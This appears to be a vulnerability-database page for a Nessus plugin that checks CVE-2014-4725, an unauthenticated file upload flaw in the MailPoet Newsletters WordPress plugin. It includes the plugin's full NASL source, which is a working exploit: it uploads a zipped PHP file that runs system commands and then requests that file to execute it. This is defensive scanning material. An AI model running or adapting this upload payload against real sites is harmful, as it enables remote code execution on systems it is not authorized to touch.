MailPoet Newsletters for WordPress Arbitrary File Upload - Nessus

High   Plugin ID: 76526

This page contains detailed information about the MailPoet Newsletters for WordPress Arbitrary File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents
hide

Plugin Overview

ID: 76526
Name: MailPoet Newsletters for WordPress Arbitrary File Upload
Filename: wordpress_mailpoet_newsletters_arbitrary_upload.nasl
Vulnerability Published: 2014-07-01
This Plugin Published: 2014-07-16
Last Modification Time: 2021-01-19
Plugin Version: 1.9
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, wordpress_detect.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information

Severity: High
Vulnerability Published: 2014-07-01
Patch Published: 2014-07-01
CVE [?]: CVE-2014-4725
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server contains a PHP script that allows for arbitrary file uploads.

Description

The MailPoet Newsletters plugin for WordPress installed on the remote web server is affected by a file upload vulnerability due to a failure to properly authenticate users. An unauthenticated, remote attacker can exploit this issue to upload files with arbitrary code and then execute them on the remote host, subject to the permissions of the web server user id.

Solution

Upgrade to MailPoet Newsletters version 2.6.7 or later.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the MailPoet Newsletters for WordPress Arbitrary File Upload vulnerability:

  1. D2 Elliot: wordpress_mailpoet_newsletters_file_upload.html
    [WordPress MailPoet Newsletters File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.2 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.2 (High)

Go back to menu.

Plugin Source

This is the wordpress_mailpoet_newsletters_arbitrary_upload.nasl nessus plugin source code. This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof. 

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

if (!defined_func("nasl_level") || nasl_level() < 5200 ) exit(0, "Nessus is older than 5.2");

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(76526);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-4725");
  script_bugtraq_id(68310);

  script_name(english:"MailPoet Newsletters for WordPress Arbitrary File Upload");
  script_summary(english:"Attempts to upload a file to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that allows for arbitrary
file uploads.");
  script_set_attribute(attribute:"description", value:
"The MailPoet Newsletters plugin for WordPress installed on the remote
web server is affected by a file upload vulnerability due to a failure
to properly authenticate users. An unauthenticated, remote attacker
can exploit this issue to upload files with arbitrary code and then
execute them on the remote host, subject to the permissions of the web
server user id.");
  # http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?47378aa3");
  script_set_attribute(attribute:"solution", value:
"Upgrade to MailPoet Newsletters version 2.6.7 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"WordPress MailPoet Newsletters File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/07/01");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/07/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/07/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("ssh1_func.inc");
include("zip.inc");
include("data_protection.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = "MailPoet Newsletters";

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  path = "/wp-content/plugins/";
  checks[path + "wysija-newsletters/readme.txt"][0] =
    make_list('MailPoet Newsletters');

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );
}
if (!installed)
  audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " plugin");

base = "nessus_" + unixtime();
zip_file_name = base + ".zip";
php_file_name = base + ".php";
folder_name = base;
bound = "_bound_nessus_" + unixtime();

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";

vuln = FALSE;

foreach cmd (cmds)
{
  # Get path to the file uploaded for use in our reporting section
  if (cmd == 'id') upload_path = "system('pwd')";
  else upload_path = "system('dir "+ php_file_name +"')";

  # Form  our PHP file to upload
  file_contents = "<?php echo('<pre>'); system('" + cmd + "');" + upload_path + ";?>";
  files = make_list2(
    make_array("name", folder_name + "/" + php_file_name, "contents", file_contents),
    make_array("name", folder_name + "/" + "style.css", "contents", "")
  );
  zipfile = create_zip(files);

  post_data =
    '--' + bound + '\r\n' +
    'Content-Disposition: form-data; name="my-theme"; filename="' + zip_file_name + '"\r\n' +
    'Content-Type: application/x-zip-compressed\r\n' +
    'Content-Transfer-Encoding: binary\r\n' +
    '\r\n' +
    zipfile + '\r\n' +
    '--' + bound + '\r\n' +
    'Content-Disposition: form-data; name="overwriteexistingtheme"\r\n' +
    '\r\n' +
    'on\r\n' +
    '--' + bound + '\r\n' +
    'Content-Disposition: form-data; name="action"\r\n' +
    '\r\n' +
    'themeupload\r\n' +
    '--' + bound + '\r\n' +
    'Content-Disposition: form-data; name="submitter"\r\n' +
    '\r\n' +
    'Upload\r\n' +
    '--' + bound + '--';

  url = "/wp-admin/admin-post.php?page=wysija_campaigns&action=themes";

 #Attempt upload
  res2 = http_send_recv3(
    method    : "POST",
    item      : dir + url,
    data      : post_data,
    add_headers:
      make_array("Content-Type",
                 "multipart/form-data; boundary=" + bound),
    port         : port,
    exit_on_fail : TRUE
  );
  exp_request = http_last_sent_request();

  # Try accessing the file we created
  upload_loc = "/wp-content/uploads/wysija/themes/";
  verify_path = upload_loc + folder_name + "/" + php_file_name;
  res2 = http_send_recv3(
    method       : "GET",
    item         : dir + verify_path,
    port         : port,
    exit_on_fail : TRUE
  );
  output = res2[2];

  if (egrep(pattern:cmd_pats[cmd], string:output))
  {
    vuln = TRUE;
    get_up_path = "" + folder_name;

    # Extract path for reporting
    if (cmd == 'id')
    {
      get_path = strstr(output, "/");
      get_up_path = chomp(get_path) + "/";
      if (!isnull(strstr(output, "uid")))
        output = strstr(output, "uid") - get_path;
    }
    else
    {
      get_path = strstr(output, "Volume in drive");
      if (!isnull(strstr(output, "Windows IP")))
        output = strstr(output, "Windows IP") - get_path;
      get_dir = egrep(pattern:"Directory of (.+)", string:get_path);
      if(!isnull(get_dir))
         get_up_path = chomp((get_dir - " Directory of ")) + '\\';
    }
    break;
  }
}

if (!vuln)
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");

if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);

  report =
    '\n' + 'Nessus was able to verify the issue exists using the following request :' +
     '\n' +
     '\n' + install_url + verify_path +
     '\n' +
     '\n' + 'Note that this folder has not been removed by Nessus, and will need to be' +
     '\n' + 'manually deleted (' + get_up_path + ').' +
     '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\n' + 'This file was uploaded using an unauthenticated POST request to : ' +
      '\n' + install_url + url +
      '\n' +
      '\n' + 'The file uploaded by Nessus executed the command "'+cmd+ '"' +
      '\n' + 'which produced the following output :' +
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/wordpress_mailpoet_newsletters_arbitrary_upload.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_mailpoet_newsletters_arbitrary_upload.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/wordpress_mailpoet_newsletters_arbitrary_upload.nasl

Go back to menu.

How to Run

Here is how to run the MailPoet Newsletters for WordPress Arbitrary File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select MailPoet Newsletters for WordPress Arbitrary File Upload plugin ID 76526.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_mailpoet_newsletters_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_mailpoet_newsletters_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_mailpoet_newsletters_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_mailpoet_newsletters_arbitrary_upload.nasl -t <IP/HOST>

Go back to menu.

References

BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 130263 - Adobe ColdFusion File Upload (APSB18-33) (CVE-2018-15961)
  • 39790 - Adobe ColdFusion FCKeditor 'CurrentFolder' File Upload
  • 16061 - e107 Image Manager Unauthorized File Upload
  • 39806 - FCKeditor 'CurrentFolder' Arbitrary File Upload
  • 21780 - FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload
  • 69273 - Joomla! 2.5.x < 2.5.14 / 3.x < 3.1.5 .php. File Upload RCE
  • 64470 - Collector Component for Joomla! File Upload RCE
  • 79420 - Creative Contact Form Component for Joomla! File Upload RCE
  • 25736 - Expose for Joomla! File Upload RCE
  • 118310 - jQuery-File-Upload Arbitrary File Upload Vulnerability (Remote Check)
  • 58654 - Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload
  • 22367 - Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload
  • 82078 - ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
  • 82079 - ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)
  • 71217 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
  • 71218 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload
  • 143600 - ManageEngine ServiceDesk Plus < 10.0 Build 10012 Arbitrary File Upload
  • 63638 - MoinMoin twikidraw.py Traversal File Upload Arbitrary File Overwrite
  • 47581 - Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
  • 47582 - Novell 'modulemanager' Servlet Arbitrary File Upload (safe check)
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 35261 - OneOrZero Helpdesk tinfo.php Arbitrary File Upload
  • 49271 - OpenX Open Flash Chart ofc_upload_image.php File Upload Arbitrary Code Execution
  • 51119 - Sitefinity CMS Arbitrary File Upload
  • 22303 - TikiWiki jhot.php Arbitrary File Upload
  • 56735 - TimThumb Cache Directory 'src' Parameter Arbitrary PHP File Upload
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 80083 - Visual Mining NetCharts Server Arbitrary File Upload
  • 105732 - Western Digital MyCloud Unauthenticated File Upload
  • 79421 - Creative Contact Form Plugin for WordPress File Upload RCE
  • 105372 - WP Symposium Plugin Arbitrary File Upload
  • 160208 - WSO2 Multiple Products File Upload Remote Command Execution (CVE-2022-29464)

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_mailpoet_newsletters_arbitrary_upload.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.

Go back to menu.